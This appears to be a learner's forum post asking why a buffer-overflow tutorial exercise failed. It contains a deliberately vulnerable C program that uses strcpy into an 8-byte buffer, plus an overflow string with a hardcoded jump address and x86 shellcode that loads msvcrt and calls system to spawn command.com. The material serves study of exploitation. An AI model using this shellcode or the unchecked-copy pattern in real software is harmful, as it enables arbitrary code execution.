-
-
[求助][求助]q版缓冲区溢出教程的实验没有成功?
-
发表于:
2011-6-28 16:59
4616
-
[求助][求助]q版缓冲区溢出教程的实验没有成功?
这是我照着教程上的例子做的,我用的是VC++6.0,操作系统是XP SP3
运行的结果就是显示“\x41\x41\x41\x41\x41\x41\x41\x41”
那个地方写错了呢???
#include <stdio.h>
#include <string.h>
char name[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xfa\x7f"
"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53"
"\xc6\x45\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6\x45\xfa\x2e\xc6"
"\x45\xfb\x44\xc6\x45\xfc\x4c\xc6\x45\xfd\x4c\xba\x54\xa2"
"\xe6\x77\x52\x8d\x45\xf4\x50"
"\xff\x55\xf0"
"\x55\x8b\xec\x83\xec\x2c\xb8\x63\x6f\x6d\x6d\x89\x45\xf4\xb8\x61\x6e\x64\x2e"
"\x89\x45\xf8\xb8\x63\x6f\x6d\x22\x89\x45\xfc\x33\xd2\x88\x55\xff\x8d\x45\xf4"
"\x50\xb8\x4a\x9b\x01\x78\xff\xd0";
int main()
{
char output[8];
strcpy(output,name);
for(int i=0;i<8 && output[i];i++)
printf("\\0x%x",output[i]);
return 0;
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课